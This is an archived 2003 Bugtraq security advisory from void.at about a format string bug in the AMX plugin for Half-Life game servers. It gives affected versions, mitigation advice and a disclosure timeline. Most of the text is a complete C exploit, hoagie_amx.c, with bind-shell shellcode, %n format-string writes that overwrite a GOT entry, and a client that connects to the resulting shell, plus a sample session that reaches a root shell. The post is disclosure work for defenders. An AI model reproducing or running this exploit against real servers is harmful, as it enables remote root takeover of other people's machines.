[29057] in bugtraq

home help back first fref pref prev next nref lref last post

[VSA0308] Half-Life AMX-Mod remote (root) hole

daemon@ATHENA.MIT.EDU (VOID.AT Security)
Wed Feb 26 14:20:09 2003

From: "VOID.AT Security" <asdf@asdf.com>
Reply-To: asdf@asdf.com
To: bugtraq@securityfocus.com
Date: Wed, 26 Feb 2003 19:23:31 +0100
MIME-Version: 1.0
Content-Type: multipart/signed;
  protocol="application/pgp-signature";
  micalg=pgp-sha1;
  boundary="Boundary-02=_kYQX+ezj6SWfaLf";
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Message-Id: <200302261923.32016.asdf@asdf.com>

--Boundary-02=_kYQX+ezj6SWfaLf
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Description: signed data
Content-Disposition: inline

[void.at Security Advisory VSA0308 - mailto:crew at void dot at]

AMX[1] is a plugin for the "Half-Life Server", hosting
the most popular online game today, "Counter-Strike", among
others.

Overview
=3D=3D=3D=3D=3D=3D=3D=3D

Due to a format string bug in AMX, it is possible
for a remote attacker who knows the rcon-password to=20
remotely exploit the gameserver. Since most game-server-
admins I've seen are not very security-aware, the server
generally runs as root.

The rcon-password can be obtained using social engineering
or sniffing-techniques, since it is being transmitted
in plaintext. It is needed because the vulnerable function
can only be called via rcon.

Affected Versions
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All AMX versions <=3D 0.9.2 on Windows and Linux.
Successfully tested with AMX 0.9.2 running on
hlds 3.1.1.0 on Linux.

Impact
=3D=3D=3D=3D=3D=3D

High. Remote-shell and very likely remote-root.

Details
=3D=3D=3D=3D=3D=3D=3D

This is a format string bug in the "amx_say"-command.
I can't provide a code snipplet since this plugin is
closed source. A word to the AMX-Team: closed source
doesn't protect you against security bugs!

rcon-output:

log on
amx_say %08x.%08x
(ALL) hoschLAN CS 1.5 ~~ Public ~~ :   %08x.%08x
L 02/26/2003 - 18:39:09: Chat: "hoschLAN CS 1.5 ~~ Public ~~
<0><><>" say "%08x.%08x"
L 02/26/2003 - 18:39:09: "hoschLAN CS 1.5 ~~ Public ~~
<0><><>" triggered "amx_say" (text "00000006.bffff258")

Solution
=3D=3D=3D=3D=3D=3D=3D=3D

Disable AMX until a patched version becomes available.
Change the rcon-password.

Exploit
=3D=3D=3D=3D=3D=3D=3D

Please find attached a demonstration exploit. Note that it will
only work against a Linux-server due to the exploitation technique.
This does NOT mean that Windows-servers are not vulnerable, they
still suffer from the same hole.

Sample exploitation session
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D

greuff@saturn:~$ ./hoagie_amx localhost 27015 myprecious
hoagie_amx - remote exploit for hlds servers using the amx plugin
by greuff@void.at

Getting stackpop count....
Stackpops found: 118, Padding: 1
Writing shellcode.....
Connecting to the shell...
Connect to the shell
id
uid=3D0(root) gid=3D0(root) groups=3D0(root),101(lpadmin)
exit

Discovered by
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

greuff <greuff@void.at>

Timeline
=3D=3D=3D=3D=3D=3D=3D=3D

02-11-2003: informed djeyl@djeyl.net about the issue (AMX-developer)
            gave 14 days to release patched version to the public
02-16-2003: olo@counter-strike.pl sent me a patched AMX version
02-20-2003: confirmed that patched AMX version closes the hole
02-25-2003: 14 days over: AMX-developers still didn't release a=20
            fixed version
02-26-2003: public disclosure

Credits
=3D=3D=3D=3D=3D=3D=3D

void.at
everyone who was at 19c3

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

[1] http://www.amxmod.net

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

/*****************************************************************
 * hoagie_amx.c
 *
 * Remote exploit for Halflife-Servers running the AMX-Plugin
 * (rcon-password required)
 *
 * Binds a shell to port 30464/tcp and connects to it.
 *
 * Author: greuff@void.at
 *
 * Tested with HL-Server v3.1.1.0 and AMX 0.9.2 on Linux
 *
 * Credits:
 *    void.at
 *    Taeho Oh for using parts of his shellcode-connection code.
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <stdlib.h>

#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
#define OFFSET 0x41414141

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

// forks and binds a shell to 30464/tcp. parent process exit()s.
char shellcode[] =3D "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
                   "\x31\xc0\xb0\x01\xcd\x80"
                   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
                   "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
                   "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
                   "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
                   "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
                   "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
                   "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
                   "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
                   "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
                   "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
                   "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
                   "\x24\x31\xc0\xb0\x0b\xcd\x80"
                   "\x31\xc0\xb0\x01\xcd\x80";

char server_ip[20];
char rcon_pwd[30];
int server_port;

int exec_sh(int sockfd)
{
        char snd[4096],rcv[4096];
        fd_set rset;
        while(1)
        {
                FD_ZERO(&rset);
                FD_SET(fileno(stdin),&rset);
                FD_SET(sockfd,&rset);
                select(255,&rset,NULL,NULL,NULL);
                if(FD_ISSET(fileno(stdin),&rset))
                {
                        memset(snd,0,sizeof(snd));
                        fgets(snd,sizeof(snd),stdin);
                        write(sockfd,snd,strlen(snd));
                }
                if(FD_ISSET(sockfd,&rset))
                {
                        memset(rcv,0,sizeof(rcv));
                        if(read(sockfd,rcv,sizeof(rcv))<=3D0)
                                exit(0);
                        fputs(rcv,stdout);
                }
        }
}

int connect_sh()
{
        int sockfd,i;
        struct sockaddr_in sin;
	struct hostent *he;
        printf("Connect to the shell\n");
        fflush(stdout);
        memset(&sin,0,sizeof(sin));
        sin.sin_family=3DAF_INET;
        sin.sin_port=3Dhtons(30464);
	if((he=3Dgethostbyname(server_ip))<0) perror("gethostbyname"), exit(1);
	memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
        if((sockfd=3Dsocket(AF_INET,SOCK_STREAM,0))<0)
        {
                printf("Can't create socket\n");
                exit(0);
        }
        if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
        {
                printf("Can't connect to the shell\n");
                exit(0);
        }
        return sockfd;
}

void create_conn(int *sock, char *host, int port)
{
   struct sockaddr_in sin;
   struct timeval timeout;
   struct hostent *he;

   sin.sin_family=3DAF_INET;
   sin.sin_port=3Dhtons(port);
   if((he=3Dgethostbyname(host))<0) perror("gethostbyname"), exit(1);
   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
   if((*sock=3Dsocket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
  =20
   timeout.tv_sec=3D10;
   timeout.tv_usec=3D0;
   if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
      sizeof(timeout))<0)
      perror("setsockopt"),exit(1);
   if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
      sizeof(timeout))<0)
      perror("setsockopt"),exit(1);
}

void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
   char msg[2000];
   struct sockaddr_in sin;
   struct sockaddr_in sfrom;
   struct hostent *he;
   fd_set fdset;
   int dummy;

   usleep(100);

   sin.sin_family=3DAF_INET;
   sin.sin_port=3Dhtons(port);
   if((he=3Dgethostbyname(host))<0) perror("gethostbyname"), exit(1);
   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));

   sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
   if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
      perror("sendto"), exit(1);

   if(reply)
   {
      if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
      {
         if(errno=3D=3DEAGAIN)
         {
            // resend message
            printf("msg stalled, resending...\n");
            sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
            if(sendto(sock,msg,strlen(msg),0,(struct sockaddr=20
*)&sin,sizeof(sin))<0)
               perror("sendto"), exit(1);
            else
               printf("resend OK\n");
            if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
               perror("recvfrom"),exit(1);
         }
         else
            perror("recvfrom"), exit(1);
      }

      if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
         fprintf(stderr,"protocol error: reply\n"), exit(1);

      strcpy(reply,msg+4);
   }
}

void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, ch=
ar=20
*reply_fun)
{
   char reply[1000];
   char msg[2000];

   lowlevel_rcon(sock,host,port,"challenge rcon",reply);
   if(!strstr(reply,"challenge rcon "))
      fprintf(stderr,"protocol error\n"), exit(1);
   reply[strlen(reply)-1]=3D0;

   sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon=20
"),rconpwd,cmd);
   if(reply_fun)
      lowlevel_rcon(sock,host,port,msg,reply);
   else
      lowlevel_rcon(sock,host,port,msg,NULL);
   if(reply_fun)
      strcpy(reply_fun,reply);
}

int get_padding(unsigned char c,int bytes_written)
{
   int write_byte=3Dc;
   int already_written=3Dbytes_written;
   int padding;

   write_byte+=3D0x100;
   already_written%=3D0x100;
   padding=3D(write_byte-already_written)%0x100;
   if(padding<10) padding+=3D0x100;
  =20
   return padding;
}

void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,=20
                        int *p4, int bytes_written)
{
   // greetings to scud :-)
   int write_byte;
   int already_written;
   int padding;

   write_byte=3DSB1(addr);
   already_written=3Dbytes_written;
   write_byte+=3D0x100;
   already_written%=3D0x100;
   padding=3D(write_byte-already_written)%0x100;
   if(padding<10) padding+=3D0x100;
   *p1=3Dpadding;

   write_byte=3DSB2(addr);
   already_written+=3Dpadding;
   write_byte+=3D0x100;
   already_written%=3D0x100;
   padding=3D(write_byte-already_written)%0x100;
   if(padding<10) padding+=3D0x100;
   *p2=3Dpadding;

   write_byte=3DSB3(addr);
   already_written+=3Dpadding;
   write_byte+=3D0x100;
   already_written%=3D0x100;
   padding=3D(write_byte-already_written)%0x100;
   if(padding<10) padding+=3D0x100;
   *p3=3Dpadding;

   write_byte=3DSB4(addr);
   already_written+=3Dpadding;
   write_byte+=3D0x100;
   already_written%=3D0x100;
   padding=3D(write_byte-already_written)%0x100;
   if(padding<10) padding+=3D0x100;
   *p4=3Dpadding;
}

int main(int argc, char **argv)
{
   int sock, stackpops, padding;
   int i,j,bytes_written;
   int p1,p2,p3,p4;
   char cmd[1000], reply[1000];
   unsigned long addr;

   printf("hoagie_amx - remote exploit for hlds servers using the amx=20
plugin\n"
          "by greuff@void.at\n\n");
   if(argc!=3D4)
   {
      printf("Usage: %s server_name server_port rcon_password\n\n",argv[0]);
      exit(1);
   }

   strcpy(server_ip,argv[1]);
   server_port=3Dstrtol(argv[2],NULL,10);
   strcpy(rcon_pwd,argv[3]);

   create_conn(&sock,server_ip,server_port);

   printf("Getting stackpop count...");
   send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
   stackpops=3D-1;
   for(padding=3D0;padding<4 && stackpops=3D=3D-1;padding++)
   {
      for(i=3D50;i<200 && stackpops=3D=3D-1;i++)
      {
         strcpy(cmd,"amx_say ");
         for(j=3D0;j<padding;j++) strcat(cmd,"b");
         sprintf(reply,"AAAA%%%d$08x",i);
         strcat(cmd,reply);

         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
         reply[strlen(reply)-1]=3D0;
         if(strstr(reply,"AAAA41414141"))
         {
	    char *ptr;
	    ptr=3Dstrrchr(reply,'\n')+1;  // get pointer to last log line
            stackpops=3Di;
	    bytes_written=3Dstrstr(ptr," (text \"")+strlen(" (text=20
\"")-strchr(ptr,'\"');
	    bytes_written+=3D4+padding;
         }
         printf(".");
         fflush(stdout);
      }
   }
   padding--;
   if(stackpops=3D=3D-1)
   {
      printf("\ncouldn't determine stackpop count. (I really tried hard!)\n=
");
      exit(1);
   }

   printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);

   // inject shellcode
   printf("Writing shellcode...");
   addr=3DOFFSET;
   for(i=3D0;i<strlen(shellcode);)
   {
      int t;
      if((addr&0xFF)>0x75)
      {
         // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
         // distance is 0x13B-0x7A =3D 193d
         unsigned long target=3D192;

         strcpy(cmd,"amx_say ");
         for(j=3D0;j<padding;j++) strcat(cmd,"b");
         t=3Dget_padding(0xe9,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
        =20
         addr++;
         strcpy(cmd,"amx_say ");
         for(j=3D0;j<padding;j++) strcat(cmd,"b");
         t=3Dget_padding(target&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=3D0;j<padding;j++) strcat(cmd,"b");
         t=3Dget_padding((target>>8)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=3D0;j<padding;j++) strcat(cmd,"b");
         t=3Dget_padding((target>>16)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
        =20
         addr++;
         strcpy(cmd,"amx_say ");
         for(j=3D0;j<padding;j++) strcat(cmd,"b");
         t=3Dget_padding((target>>24)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr+=3D193;
      }
      else
      {
         // write shellcode-pieces
         strcpy(cmd,"amx_say ");
         for(j=3D0;j<padding;j++) strcat(cmd,"b");
         t=3Dget_padding(shellcode[i],bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
         addr++;
         i++;
      }
      printf(".");
      fflush(stdout);
   }

   // overwrite GOT entry with shellcode address
   strcpy(cmd,"amx_say ");
   for(j=3D0;j<padding;j++) strcat(cmd,"b");
   get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+24+padding*4);
   addr=3DVSNPRINTF_GOT_ADDRESS;
   sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
                 "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
                 addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
                =20
(addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
                =20
(addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
                =20
(addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
                 p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
   strcat(cmd,reply);
   send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
   sleep(1);
   close(sock);
   printf("\nConnecting to the shell...\n");
   exec_sh(connect_sh());
   return 0;
}



--Boundary-02=_kYQX+ezj6SWfaLf
Content-Type: application/pgp-signature
Content-Description: signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQA+XQYkzxi8qAgTjUMRAlH2AJ0RUFTr9yzw3ULzIJjhGD81CXasVQCeO0kz
AvaHYyv2erLEz/4fMpGAXhs=
=xTw6
-----END PGP SIGNATURE-----

--Boundary-02=_kYQX+ezj6SWfaLf--


home help back first fref pref prev next nref lref last post